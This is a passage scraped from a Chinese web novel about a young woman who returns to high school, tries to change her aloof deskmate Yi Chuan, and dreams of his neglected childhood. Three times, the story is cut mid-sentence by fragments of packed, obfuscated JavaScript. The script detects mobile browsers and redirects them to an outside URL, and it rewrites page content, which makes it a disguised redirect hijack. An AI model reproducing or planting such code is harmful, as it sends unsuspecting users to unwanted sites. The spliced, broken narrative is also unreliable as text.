见状，叶舒悄悄白了身边的人一眼，心中埋怨：我在因你受罪，你还好意思笑得出来...... 叶舒：“保留君主，统而不治，三制合一。君主立宪制是由君主制、民主制和贵族制融合而成。国家权力核心是议会和内阁。” 何老师满意地点点头：“很好，坐下吧。易川抄五遍，叶舒抄两遍。” “为什么？”叶舒不解出声。 班里不少人因为她这句话纷纷侧目，易川似乎也被她突然的开口惊到，目光略带疑惑地望向她。 叶舒见气氛变得诡异，一时愣神，并未觉得自己的话有任何问题。 何老师转过身，他误解了叶舒的意思，有些不快地敛着脸色，寒声问她：“叶舒，你对什么有疑惑？” 班主任的威慑力即使是毕业多年还是存在，叶舒有些忐忑地咽了咽口水：“我背出来了，为什么也要抄？” 见叶舒态度还算诚恳，何肃文严肃的表情缓和了些，沉声解释道：“一直都是这样规矩，你忘了吗？同桌连坐制，答不出来的人的同桌也要被罚抄，但抄的次数少一点。这是为了让你们有点责任心，以免连累同桌。” 何老师说这话时，还别有深意地扫了眼易川。 叶舒这才想起，何肃文一直以来都有这样的规矩，只是自己一时忘记了，难怪她出声后那么多人看着她。 “叶舒，还有什么问题吗？”何老师问。 未免惹人多心，叶舒连忙垂眸，掩饰自己窘然的神色：“对不起，我忘记了。” …… 坐下后，叶舒余光注意到易川正目不转睛地盯着她，眼神里是探究的意味。 她怕易川怀疑到什么，故作烦闷，用手撑着脑袋，侧过脸，避开他的视线。 叶舒自顾自地拿出了单行本，翻到今天老师抽问的那页笔记，然后单行本将放在了笔记本下面。 “看看你昨天那个笔记。” 一道声音从身旁传来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461867|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闻言，叶舒转头去看身旁的人，有些惊讶于易川的这次的主动。 ———难道他这次愿意抄了？ 她默默地把笔记推过去，还指出了该抄的哪几段笔记。 易川扫了眼她的笔记，半晌才默默收回眼，看不出什么意味。 连句谢谢也不说。叶舒忍下想白眼的情绪，默默腹诽。 - 下课后，何肃文走出教室的那一瞬间，所有学生才彻底舒了口气。 叶舒也没闲着，立刻拿出本子开始抄写。 “其实你不用抄的。” 男生的声音从她身侧传来。 叶舒动作顿了顿，抬眼看向易川。 头顶的风扇正在运作，风吹得她刘海飘了飘，面前男生额前的碎发也随之晃了晃。 易川摘下戴了一节课的眼镜，他皮肤白，山根处留了些印子，倒显得他鼻梁更高挺。 他眼皮一掀，淡淡说道：“你背出来了本来就可以不抄，跟科代表解释一下他也不会说你。这个‘连坐’规矩本来就不合理。” 说罢，他拿出眼镜布擦了擦眼镜镜片。 叶舒不甚在意，无所谓道：“反正不多，也就抄几遍而已。” 说完，她便继续低头写。 她低下头，余光捕捉到身侧的人盯了她的侧脸好一会儿。片刻后，易川从抽屉里找出一个本子，起身离开了座位。 叶舒这才抬头，望了眼易川离去的背影，没太在意，继续抄。 那么快就能改变易川不是件易事，她没给自己太大希望。 …… 笔记没多少，很快便抄完了。叶舒出教室上洗手间，打算回来再把抄写拿去给科代表过目。 教室外，人声鼎沸，非常热闹。 毫无准备地变回学生身份上了一天的课，叶舒分外疲惫。 她趴在栏杆上向楼下望，午后的阳光移了位置，落在高大茂密的树冠上，投落了一地斑驳的光影。 不远处，几名男生女生正在聊天，欢声笑语。 叶舒不禁勾了勾唇，反应过来后，微微愣神。 这突如其来的茫然，脑海中的空白便忽然被过往的记忆填满。 她想起了还未与易川决裂的时候。 ...... 那时是初夏吧。 分文理科后，第一次的大型考试，叶舒便取得了年级第一。 她“一战成名”，甚至在表彰大会上作为唯一人选进行演讲。 后来，某天，她在教学楼偶遇了王朗。王朗与她搭话，易川突然出现，站在了王朗身侧，默默听着两人聊天。 易川平日都是一副孤高的模样，竟驻足加入了两人的谈话，自然让叶舒感到惊喜。 当时，王朗打趣她道：“叶舒，没想到你竟然年级第一诶，你深藏不露啊！牛！” 叶舒闻言，腼腆一笑：“也算运气好。” “我运气好可也考不到年级第一。”王朗撇了撇嘴，他拍了拍身边的易川，“你知道吧，叶舒，上次年级第一了！” 被拍的当事人正斜靠在栏杆处。易川个子高，叶舒几乎是仰着头看他。 他身后便是青绿高大的树木，夏风吹过，树叶随风摇曳，光线交错。 而易川，听到王朗这话后，嘴角扬起一个弧度，往日总是淡漠的目光这次难得柔和地落在她脸上。 “知道。”他声音带着笑意，“恭喜你啊，第一。” 他身后的光线顺势也落在叶舒眼里，叫人目眩神迷。 明明根本不是特别的话语，但因为那时的她喜欢他，所以那笑容她也自动给他镀上了一层滤镜。 甚至，她那时还在开心于他竟也知道自己是年级第一，自以为易川还是有些关注自己的。 王朗那时还在身旁调笑他俩：“哇哦，难得见你夸人。我上次数学第一，怎么不见你夸我厉害......” 那时的易川怎么回的？ …… 忘记了。 她当时沉浸在喜悦的愣神之中，没有注意那时易川如何回应王朗的。 现在想来，大概是会嫌弃地瞥王朗一眼，让他噤声。 彼时，她与他关系还并不差。 ...... 可是后面为什么都变成这样了呢？ 叶舒回想自己这短暂的二十几年，几乎都是在校园里过的。幼年、小学、初中、高中、大学，直到她工作，都在校园里。 按理来说，校园对她来说应有特别的意义。 确实有特别的意义，但美好的记忆里总是有一点污痕在里面，一旦沾染，便再也洗不掉。 ...... 叶舒回到位置的时候，易川已经回到座位上了。 易川注意到叶舒走近，面无表情地瞧了她一眼随机视线又回到桌面上。 叶舒走近一看。 易川在写东西。 他正看着她放在桌上的笔记在抄写。 他身材高大，屈身斜着看笔记的样子还有些滑稽。 叶舒脚步顿了顿，有些错愕。 最后，她只是默默坐下，把笔记推到他桌子上。 叶舒边整理桌面，边和易川说：“抄完给我就行，我帮你一起送科代表那。” 身旁的易川写字的手停了一下，轻飘飘地应了一声，继续抄着笔记。 叶舒转头，便是这样的景象。 淡绿色的窗布微动，平常总懒散的男生正专心致志地照着她的笔记抄写。额前的刘海在桌上落下阴影，露出他挺括的额头，侧脸形成了一道完美的弧线。 叶舒收回目光，回身拿出下节课的课本，继而不动声色地勾了勾唇。 赌成功了。 从她拿出笔故作记要抄的那一刻，她就在演戏。 她了解易川，吃软不吃硬。 她就是想看看她的“服从”能不能让他产生惭愧的心情。 她在赌。 赌易川会上钩，赌易川会愧疚。 赌这一次，他会抄。 显然，这次她的目的达到了。 4. 回忆碎片一（上） 弯月浅浅的印在墨色的夜空中，宿舍楼里的灯光渐渐熄灭了，世界沉入寂静之中。 叶舒宿舍还没有安静，还在秉持着一贯的夜聊习惯。 舍友还在说话，但叶舒今天实在是身心俱疲，听到后面也渐渐入睡了。 “真的很好笑啊，你问叶舒是不是！叶舒？”陆雯聊着聊着突然发现叶舒没声了还在奇怪，“睡了？……她今天睡得好早。那我们别说了，睡觉吧。” 叶舒沉入梦乡中，毫无知觉。 系统的声音在沉睡中响起。 “进度一解锁，回忆碎片开启。” 霎那间，叶舒被白光笼罩，刺得她闭上了眼。 须臾，叶舒睁开眼，白光消散，周围环境已然变化。 视野里出现一户人家的客厅，晨曦的日光从阳台外洒下来，杏白色瓷砖被印得熠熠生辉。 周围没有人，有点冷清。 整个屋子是复式的设计，楼梯在客厅另一头，直通向二楼的一片空台。 叶舒警惕地参观着，转身后，眼前的鱼缸把她吓了一跳。 矩形状的鱼缸，直接横隔了客厅和饭厅，水里，不少鱼儿和几只乌龟正在游动。 这样大的款式的鱼缸，叶舒还是头次见有人真摆在家中。 叶舒的视线移向鱼缸后方。 不远处，饭厅的餐桌上摆着汤面和面包，还有丝丝热气腾起，看样子应该是刚做不久，那就证明此时家里应该是有人的。 这时，楼上传来声音。 一位衣着整洁的女人提着包走下来，年纪约莫有三十五，双眉修长，眼若桃花，看起来性情十分温和。 叶舒疑惑又有些不安地望着女人。 ——她是谁？ 阶梯走到一半，女人停下从楼上喊：“易川，要上学咯，下来吃饭。” 易川？ 熟悉的名字让叶舒心中一颤。 这是易川的家？ 可是她为什么会出现在这？ 叶舒想起场景出现之前的系统的话，猜测大概是系统额外安排的环节。 女人喊完，便径直从阶梯走下来，朝着叶舒的方向。 叶舒下意识地想躲，不过女人视若无睹地走过她，身体穿过了她，她没有任何感觉。 这里是梦境，她只是旁观者，梦境里的人自然看不见她。 叶舒望向女人的背影，心下的疑惑愈渐浓郁。 正奇怪之余，一名身着衬衫西裤的男人下来了。 男人眉骨突出，浓眉下有一双深邃的像是会洞悉人心眼睛。下颔略宽，但还是看得出五官很标致。举手投足间成熟老练，很典型的商人外貌。 男人手上提着一个书包，身边跟着一个穿着小学校服的小孩，身高才到男人膝盖往上一点，跟着男人一起走下楼梯。 他们俩走下楼，径直走过叶舒。 叶舒望着小孩离她越来越近，小孩的模样也在她视线里越来越清晰。 浓密的眉毛下漆黑的眼珠子清澈透亮，皮肤细腻无瑕，小小年纪便五官清秀俊俏。 小孩的脸与她记忆里熟悉的人脸渐渐重合，叶舒回想起刚刚女人喊的名字，一个大胆的猜测浮出水面。 这是易川的小时候。 三人围坐吃饭。 饭桌上的女人忽然开口：“你早上把易轩和易铭送去学校，给他们吃的什么？” 对面的男人抬起头，顿了一会，回想后回答女人：“面包店买了面包和牛奶给他们带去学校吃。” 易轩、易铭…… 叶舒听着陌生的名字，努力回想着以前的记忆。 她隐约记得，易川家似乎有很多兄弟，有两个哥哥，还有一个小很多的弟弟。 “妈妈，哥哥他们这就走了吗？”小孩稚嫩的声音在空旷的饭厅里显得尤为清脆。 叶舒看向那孩子，他正拉着女人的衣角，行为举止颇显稚气。 女人回答易川：“对，哥哥他们比你早上学，你待会也要去上学了。” 回答完易川的话，女人似是又想到什么对男人说：“易轩班主任上次打电话给我了，说他成绩和志愿的事，还说要和我见一面详谈。你去，我不去。” 闻言，男人皱了皱眉：“这周？” “对，尽快吧，老师催得紧，这事也不好耽搁。” 男人喝了口汤，摇了摇头：“你知道的，我最近都在忙隔壁市的那个项目，时不时还要出差，这周抽不开时间。” 妈妈露出不太乐意的表情：“上次我已经帮你去过两次了，我自己也要上班。再说，孩子们的学习一直都是你在顾着，我都不了解。这次还是老师突然打了我电话我才知道易轩要填志愿了。” 小小的易川就坐在旁边，扒拉着汤面，偶尔抬起头看看父母。 听易母这么一说，叶舒倒是忆起，高一家长会，当时易川说他爸会来，不过最后没来。 那时叶舒问他，易川还一副不愿提起的表情，那一整晚他周身都散发着低气压，连王朗与他说话他都没理。 因此在今天之前，叶舒也没见过易川父母的模样。 叶舒继续听着，企图从这些对话信息，猜出系统给她安排这环节的目的。 易川爸爸沉吟片刻，淡定开口：“这周我肯定是不行的，你先去听听老师说什么，回来再和我说。或者你和易轩说，他的志愿你肯定要问问他。” 妈妈笑了一下，笑容有些冷：“你问你那好儿子志愿？他有什么志愿？他能考上哪个志愿？上次我突然想起问了问他，他说随便填，能上哪所是哪所，反正公办高中的他都考不上。” 她顺了一口气，扔下最后一句话：“我才不想和他聊这些，气得慌。” 说完，易川母亲忿忿地喝了一大口汤。 易川瞪着圆溜溜的眼珠，看妈妈喝汤他也情不自禁地学着妈妈的动作喝了一大口汤。 他没听懂父母在说什么，只知道是在说大哥的事情。 早在他很小的时候父母就经常教育大哥易轩，语气不是很好。对于年幼的易川来说，那已经算是凶的一种表现了。 其实父母已经很久都没教育大哥了，只是最近几天又说了起来。 易川懵懵懂懂间，觉得父母对大哥的行为早已见怪不怪，所以才很少说他了。 反正说了也没用。 他们好像放弃了大哥。 但是最近这几天为什么又说起易轩，他也不知道。 易川父亲双眉紧皱，眉心间露出几道褶皱，若有所思道：“要是成绩差太多，我也没办法。易轩的成绩我感觉……难办。” 语毕，饭厅一时陷入沉默。 叶舒见小易川嘴巴张了张，似是想问问题，但他见父母两人的表情皆不是很好，话到嘴边最后噎了回去。 易川父亲快速地吃完了早饭，然后擦了擦嘴：“实在不行，就上私立或者职校，或者把他送出国算了。” 易川母亲一开始嚼着面条没说话，看表情是不满意的，最后表情和缓了些，说：“算了，易轩的成绩老师和我说了，我看也别指望他什么了。” “他就不爱读书，省得为他费钱又费力，他自己还不乐意。” 两人感叹着结束了谈论，易轩这个话题算过去了。 听到这，叶舒大概知道了，易轩这个儿子的成绩不好，而且可能还有点叛逆？ 不仅如此，她还听出了两人话语中放弃的意味。 叶舒记得，易川是以借读生的名义进的静海高中，所以成绩一直跟不上大部分人。 只是易川他们都没放弃，为何这个易轩他们轻而易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461868|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举就说放弃了？ 一家三口吃完早餐，便准备出门。 玄关处，女人拉着易川在整理行装，看小易川穿好鞋子后便笑盈盈地看着他，和刚刚满面愁容的完全是两个人。 女人温柔地叮嘱易川：“易川去学校要听老师话噢。” “嗯。”小易川轻轻应声，但是眼里却有着十分明朗的坚定，两个眸子清澈透亮，脸颊带着淡淡的红色，背着双肩包的样子倒有些可爱。 看见这画面，叶舒有些不可置信地挑了挑眉。紧接着，她便嫌弃地撇了撇嘴，逼自己将这想法移出脑海。 女人宠爱地摸了摸易川的头顶，继而说到：“今晚爸妈很晚回来，会有阿姨来给你做饭，你乖乖吃完饭写作业然后睡觉，知道吗？” 小易川表情顿了顿，很快又点了点头。 叶舒却捕捉到，他眼底有一抹很浅很浅的，转瞬即逝的失落，随后又很快变坦然。 …… 三人走后，叶舒本以为此幻境会就此结束，但眼前的场景依旧没有变化。 她试图与系统沟通，也没得到回应，最后无奈地上了二楼，打开了易川的房间。 人在外总是戴着层面具，只有在家中才会暴露真实性格。 她知道，这是了解易川过去和真实的他最好的机会。 她走进易川的房间。一张大床靠着窗户，床对面是书桌。书桌上是些幼儿读物，书架上还摆放着写手办和玩具。 叶舒本想通过易川的房间探出他的一些喜好，但看了许久也没发觉有什么特别的。 也不知道过了多久。 又好像没多久，幻境里她难以知道确切时间。 叶舒只是明显看到窗外的阳光由浓郁变得热烈，随后变淡变暗，变成一块黑色的幕布，笼罩在这间空荡荡的屋子外面。 室内陷入黑暗之中，暗得看不太清周遭事物。 叶舒只好走出房间，摸黑着走下楼梯后，玄关处适时传来声响。 有人回来了。 那黑洞般的玄关大门缓缓打开，随后，一个小小的黑影逆着光走了进来。 那黑影脱了鞋，但还不急着进来。人影侧身，往外望了望，在门外站了一会才进门，门也没关。 叶舒朝黑影走近，借着微光认出是小易川。 小易川进门后将书包放下，然后坐在沙发上。他什么也没做，就是呆坐着，时不时望向大门处，像在等什么人。 此刻的黑暗中，就两个人一站一坐。 准确来说，只有一个人。 叶舒不太适应这黑暗，起身去玄关处寻找着开关，但她触碰不到开关，打不开。 她无奈回头，靠在墙边，静静地看着小易川发呆的模样，也注意着玄关的动静。 叶舒看着挂钟的时针渐渐走到数字六处，不禁疑惑。 他爸妈还不回来吗？虽然早上他爸妈好像是说了会晚回来…… 不久后，小易川可能终于是觉得无聊了，起身打开了电视机。 现在，整个屋子只有电视机这一个光源。 片刻后，玄关的大门大开，一名女性身影出现。 “不好意思，来晚了来晚了！”女人风风火火地进了门，手上还提着菜，“刚刚去买菜了，小易不好意思，我现在就做饭。” 不是易川的母亲，那应该是请来的钟点工阿姨了。 “怎么不开灯呢？”女人按下开关，刹时满室通明。 突然的亮光让人有些不适应，叶舒和小易川皆眯了眯眼。 “我现在做菜，小易你再等等。”女人说着就进了厨房。 小易川趴着沙发背上，乖巧地点了点头：“嗯。” 叶舒睨了一眼乖乖等饭的小易川。 现在倒是挺乖的，谁能想到以后的样子。 5. 回忆碎片一（下） 偌大的客厅里，大屏电视机里，一集动画片恰巧结束正播放着广告。 小易川把电视静音，随后拿起一旁的书包，抽出一些本子，随意地摊在茶几上。 叶舒还在思索易川接下来要做什么，结果下一秒他的行为就让她大跌眼镜。 易川从沙发上下来，坐在地板上开始写作业。 他在主动写作业！ 对任何事情都提不起兴趣，典型的散漫惯了的易川，在主动写作业！ 印象里的易川，虽然不至于不务正业，但是好逸恶劳，作业都是最后关头才紧赶慢赶地写。 上次历史课都“火烧眉毛”了，叶舒催他背一点历史笔记，他还嫌她多管闲事。 谁能想到这样的人，小时候竟然还会主动写作业。 小男孩拿着铅笔，蹙着眉看着作业本。 虽然他写得极慢，但一笔一画很是认真。做不出来时，还会拖着腮帮子沉思。 圆润的脸蛋上两条黑色的眉毛弯着，眼睛圆溜溜地瞪着作业本。 叶舒走近瞧，小孩的字歪歪扭扭的。 他作业不多，也没什么难度，基本就是些识字拼音和基础加减法，结果他加法就错了几道——五加六竟等于了十二…… 强迫症犯了的叶舒看着难受，可惜她碰不到他，他也听不到她说话。 念在这时候的小孩就是要教的，她沉了口气。 “五加六等于十一。”叶舒职业病地絮叨了一句，也没指望易川能听见。 男孩确实没听见，沉浸在数字里埋头苦干。 叶舒放弃地叹了口气，坐在他身旁的沙发上看着他写。 整间屋子只有厨房处传来锅碗瓢盆相碰的声音，除此之外，都很安静，安静得叶舒有些无所适从。 她起身靠近男孩，盯着他的作业本。 须臾，男孩拿起一旁的橡皮把刚刚那个错误的5擦掉了。 见状，叶舒有些惊讶地看向他。 男孩蹙着眉头，一副深思的模样。 他思索了很久，久到叶舒都有些无奈了，他才犹豫着起了笔，小手抖了抖，写上了新的答案。 叶舒俯身望去。 还是12...... 这场默剧因为保姆的声音而落幕。 “来吃饭咯！小易，吃饭了！”女人来客厅叫男孩，把他从地下拉起，“小易，不是说了吗，地下凉，做作业去饭桌上或者你书桌写。” 女人边说着，边拉着易川去饭桌上：“先吃饭啦。” 两人相继而坐，偌大的饭厅里只有两人倒显得有点冷清。 叶舒打量起周围，这间房子本身虽富裕大气，但空旷的地方太大，所以会显得有些冷清。 桌上的饭菜不多，但是色香味俱全，看得叶舒也有些饿了，但是她触碰不到，只能干看着。 饭桌上，保姆会问小易川一些日常的事。小易川很配合，很开朗，很多话，不像刚刚看电视一般沉默。 与高中的他简直判若两人。 眼前的画面正温馨，下一刻，两人吃饭的画面忽然像被加快速度，场景逐渐朦胧。 眨眼间，保姆离开了，只剩下叶舒和易川。 在易川看来，只有他一个。 叶舒看着小易川收拾了茶几上的书本，抱着书包一步步回了房间。 她跟着易川进了他的房间，看见小易川放下书包后，便自觉地坐在书桌前开始写作业。 人总是会对懂事的小孩起恻隐之心。 虽然叶舒还是不敢相信眼前的这孩子和她认识的易川是同一个人，但这样懂事的小孩还是令她有些动容。 不过，叶舒也愈发好奇，儿时乖巧自觉的易川，长大后怎么变得不学无术？ 思考之后再抬眼，场景变浑浊，刚刚坐在书桌前的易川也不见了。 窗外的天空一黑一暗，房间又陷入黑暗。 又变换了。 叶舒走出房门，又是黑灯瞎火的场景。 她坦然接受这个状况，索性直接坐在沙发上等着看一会儿回来的是谁。 咔嗒。 玄关处响起开门声。 叶舒侧头望去，门打开了。 大门被缓缓打开，又是那个熟悉的小小人影。 小易川站定在玄关那，定定地站在那，视线穿过玄关与叶舒的交汇。 叶舒怔了一瞬，身躯因为这一对视僵了一下。 不过，男孩似乎并没有看见她，还是一副若有所思的模样，叶舒松了口气。 易川还是如之前那般，在沙发上看了会电视，等着保姆来。 叶舒看着男孩有些落寞的背影，随即隔着他一点距离坐下。 她转头，看着易川的眼神中沾染了些怜悯。 叶舒突然想开口问他，为什么不开灯。 不过他听不到的，也回复不了她，所以叶舒没问出口。 男孩目不转睛地看着动画片，色彩鲜艳的画面在他瞳孔中闪烁着。 叶舒一时不忍，即使她知道他听不见，还是出声说了句：“不开灯看，会近视吧。” 脑海中突然出现戴着眼镜的易川，叶舒才恍然想起，易川确实近视了，只是度数不高，他并不常戴。 小易川不为所动，因为他听不见。在他的世界里，这间屋子只有他一个。 经常地，只有他一个。 所以黑不黑的也没什么，最后到晚上都会归于黑暗的。 漆黑的眼珠倒映着变化着的动画片，脸上偶尔浮现出笑意，被动画片逗笑的笑容，可稍纵即逝，很快就会被孤寂淹没。 一集终了，小易川那一点笑容也戛然而止。 大门处没有声响，没有人回来，所以叶舒又陪着易川看了一集动画片，时间就这样无声地流逝着。 …… 一集结束，男孩朝大门望去，大门处漆黑一团，没有任何异动。 叶舒看向壁钟，竟然已经7点多了，不知不觉她竟然陪他看了这么久。 按照昨天的时间，这个点阿姨应该来了，但阿姨却迟迟未出现。 叶舒侧头看向易川，小男孩正拿着遥控器换台。 似是迟迟找不到喜欢的频道，他便放弃了，离开了客厅，走到玄关，踮起脚按下灯的开关。 顿时，灯火通明。 在叶舒以为，易川可能要继续看电视或者写作业的时候，他把大门关上了。 这让叶舒非常不解。 ——他关门了？不是在等保姆吗？ 她转念一想，他一个小孩在家开着门也不安全，而且保姆应该也有钥匙。 刚想通，易川接下来做的事更是让她疑惑。小易川没有回客厅，搬着椅子进了厨房。 叶舒见状也跟了进去。 一进厨房，叶舒便看见小易川站在小凳子上，在冰箱搜寻吃的。 看来是饿了。 冰箱里只有少许菜，基本都是要煮的，易川年纪尚小，肯定无法做菜。 小易川的视线落在冰箱里早上剩的面包，他拿了出来，又拿出冷冻包子。 然后，小易川把面包放进微波炉里，按了时间后抚摸着开始键却迟迟不按下，还是把面包拿了出来。 “就这样吃吧。” 男孩说了今天到家的第一句话。 闻言，叶舒微微凝眉，很是诧异。 小易川又去倒腾冷冻包子，他把包子放到盘子上，然后拿了个蒸锅在里面放了点水。 “好像是这样吧……上次看阿姨是这样教的。”他呢喃着，自言自语道。 叶舒看着小易川把蒸锅放在电磁炉上按下按键，她心情一时五味杂陈。 无关易川，只是对这个孩子的想法。 细细算来，易川这个时候不过七、八岁。他现在身高不过堪堪至叶舒腰间，料理台都要垫脚够，竟然就要料理自己的温饱了。 易川还没闲着，又拿了一口锅放了水，放在煤气炉上，伸手去扭煤气炉开关。 叶舒心下一惊，现在周围没有监护人，万一出意外怎么办。 小易川一开始没打起火，嘀咕道：“怎么打不起？昨天还好好的。” 说着，他重新试了试，终于成功打起火。 开始的蓝紫色火焰还吓到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看见小易川站在厨房看着保姆做饭，然后问阿姨这个怎么做。 她看见小易川很多次遇到没有保姆来的情况，他从一开始随便找吃的，到后面自己摸索着烹饪。 他的父母很忙，忙到不知道什么时候会回家，忙到没空管他，忙到甚至会忘记叫钟点工照顾孩子。 运气好的时候，爸爸会接送易川上下学。 正常情况，则是易川自己一个人坐校车放学，然后到家独自面对空荡荡的房子。 …… 无数个男孩独自熄了灯躺下睡觉的夜晚围绕着她放映闪过。 随后，一段画面里出现在她眼前。 易川懂事之后，钟点工也没聘了，只是会留下些许食物和速食给孩子，让其自己解决。 他们经常说他们会回来一起吃饭的，可是绝大多数时候他们都很晚很晚才回到家。 即使他们答应了易川说饭点会回来，但当他们回来之时，易川也早已自行解决了。 这个时候，易川父母便会摸着易川的头夸赞道“易川好厉害呀，真懂事”。 原来懂事的条件那么难，竟然是要一个小孩子会自己做饭。 他们真的在乎孩子吗？ 还是爱一个他们希望懂事的人设？ 或许是因为叶舒与易川是同龄人，她能猜到并理解小易川的心情。 …… 眼前的画面里，易川的母亲手机突然响起铃声。 铃声舒缓轻盈，叶舒听着觉得耳熟。 音乐声越来越响，即使易川妈妈已接起电话还在响。叶舒听着心烦气躁，想上前一探究竟...... ...... “！” 叶舒猛然睁开眼睛，累意随之席卷而来，四肢难受，难以活动。 她脑袋昏昏沉沉，勉强在脑海中拼凑出一个困字。 叶舒强撑着困意寻找声源。 枕头边的闹钟铃声在循环播放。 她竭力抬起胳膊，按下闹钟，音乐声终于终止。 整张脸陷进被褥里，叶舒眯了一会，又晕晕地睡了过去。 6. 遮阳 清晨，食堂。 早餐时间的食堂充斥着碗筷碰撞声和学生的聊天声，盖过了清晨的鸟鸣声。 “叶舒！” 听见这声，叶舒猛然睁眼，随即便发现自己竟然吃着早饭就开始打盹了。 而面前，舍友江菱和陆雯正看着她笑得前仰后合。 叶舒感到一丝窘迫，随后快速扒拉着最后一点烧麦。 江菱笑着问她：“你怎么这么困呀？” 叶舒无精打采地回答道：“昨晚做梦了，睡得不是很好。” 陆雯附和道：“我昨晚也没睡好，下来吃了个药才睡着。” 叶舒抬头，略带疑惑地看着陆雯，她眼下的青黑确实重了些：“你中途起来了？” 江菱忙不迭点头，说：“对啊对啊，陆雯昨晚下来我还和她说话了。本来怕吵醒你，结果你睡得很死，都没醒过！” 叶舒愣愣地看着俩人，随后干笑了一声。 没想到这梦威力这么大。 吃完早餐后，三人照例往小卖部走去。 清晨，天色淡白，十月的静海市正是温度适宜的时节，校道上学生们悠闲地来往。 这个点的小卖部正是人满为患的时候，叶舒艰难地挤进饮料柜前拿了瓶牛奶。 忽然，她脑袋被人打了一下，叶舒下意识转头，便看见王朗的脸。 “干嘛。”叶舒没精神，语气有些不快。 “和你打招呼呗。”王朗不以为意，随后向周围张望了一番。 叶舒这才记起，王朗这个家伙，默默喜欢了陆雯很久。 她看出他的用意，不禁勾唇窃笑，开口提醒他：“别看了，陆雯在外面，你现在买完还能和她打个招呼。” 被戳穿心思的王朗脸鼓了鼓，转身去拿吃的了。 叶舒脸上的笑意还未收，便远远看见小卖部另一边的门进来一个熟悉的身影——易川。 他随着人流走进小卖部，耷拉着眼皮，一副懒散的姿态，头上还有撮碎发不安地上翘着。 见状，叶舒立刻敛了笑容转身回避视线，恰巧江菱拉着她去排队卖单，就此躲过一劫。 昨晚梦境里的场景还在她脑海中盘旋，她暂时还不知如何面对他。 - 教室。 早读课还没开始，教室里充盈着聊天声。窗帘没关上，清晨的光线柔和地在落在窗外的树叶上，泛着一圈光。 易川望着窗外的景色朝座位走近，到位置后，他的视线便从窗外移向身前的叶舒。 她正趴在桌上小憩，似乎是睡得不省人事。 “叶舒。”易川喊了声。 趴在桌子上的身影岿然不动。 他以为叶舒又与他闹着玩，继续喊她：“叶舒，喂。” 王朗听到动静，转过头来瞧，随即哑然失笑：“我天，她真睡了，眼睛都闭着。” 易川侧身，歪头看向女生的脸，只见叶舒闭着眼，呼吸均匀地睡着，长长的睫毛随着她的呼吸颤动。 离得近，她脸颊处的小痣都看得一清二楚。 易川怔了怔，意识到不妥，很快立起身，随后颇有些嫌弃似的伸出一指，点了点她的肩膀。 “叶舒，醒醒。” 叶舒迷朦着起身，睡眼惺忪地转头看向他。 眼前站着一团蓝色的身影。 易川。 是易川啊，不是小孩易川。 昨晚的梦境让她太累了，看了看书就无意识地闭上了眼。 叶舒定了定神，让自己打起精神，然后给他腾了地。 一坐下，易川就对着还没完全清醒的某人说：“大早上就来睡觉，你昨晚没睡好啊？” 叶舒不动声色地撇了撇嘴。 ——还不是因为你。 虽然困得快昏厥过去，她还是缓缓开口说：“做梦了，就没睡好。” 易川玩味地挑了下眉头，他没有刨根问底的习惯，便没有再问她梦了什么。 倒是叶舒经过这所有的回忆梦境，想知道易川更多的事情，好让自己更了解他，也更好对易川“对症下药”。 她主动开口：“我昨晚做了很长的梦，你猜我梦的什么？” 易川掀起眼皮，漠不关心地瞥了她一眼：“我怎么知道你梦的什么？” 叶舒意识还未完全清醒，易川回应的声音传至她耳朵里，就像是隔着一汪深水。 她斟酌了一会儿言语，说道：“我.....昨晚梦见我变回小孩，我妈出门了，忘记了我在家。然后我很饿，可是家里没东西吃，但是我妈一直没回来，最后我就饿晕过去了。” 易川看着叶舒认真讲述的模样，不禁笑了笑。 叶舒一时愣神。 她企图在他脸上找到一点悲从中来、黯然神伤，甚至是尴尬勉强的表情也好。 但是没有，一丝一毫都没有。 易川只是看着她，无所谓地轻笑了一声。 在叶舒的惺忪双眼的映衬下，他那双漆黑的眸子显得神采奕奕，与她梦境里小易川的眼睛重合。 “还好只是梦。”他说。 叶舒嘴巴微张，欲言又止。 是啊，只是梦。 但对于小孩易川来说，不是梦。 “那你今早多吃点了没？”易川补充了一句。 他语调端得散漫，但言辞间莫名带着点温柔关切。 不过大概又是她多想了。 “啊？”叶舒被他这突如其来的关心弄得怔然，一时没反应过来。 少年的脸上泛起一抹笑意，看起来吊儿郎当的，“你不是说你很饿吗？我看你就是饿了，所以才梦得那么离奇。” 虽说这更像一句玩笑话，但易川这样的回答，倒有些出乎叶舒的预料。 她以为他会抬杠地说“你可以自己做或者自己买啊”。 他这样回她，让叶舒一瞬间有些无所适从。 易川性情古怪，阴郁又毒舌，让人捉摸不透，而这次却难得的“温顺”。 虽然也不多吧…… 如果叶舒没有会错意的话，易川这语气还有点关心她的意味。 让她非常不习惯。 而且…… 他不是经历过吗？ 还能这么淡然地回她。 是因为经历过，所以觉得她的是梦所以是万幸吗？ 叶舒垂眸，继续问：“如果是你，你会......你有什么感觉？” 易川翻找书的动作停了停，淡淡地看了她一眼，回：“没什么感觉。” 随即，他继续翻书。 半晌，他又补充了句：“而且，我不像你，我会做饭。” 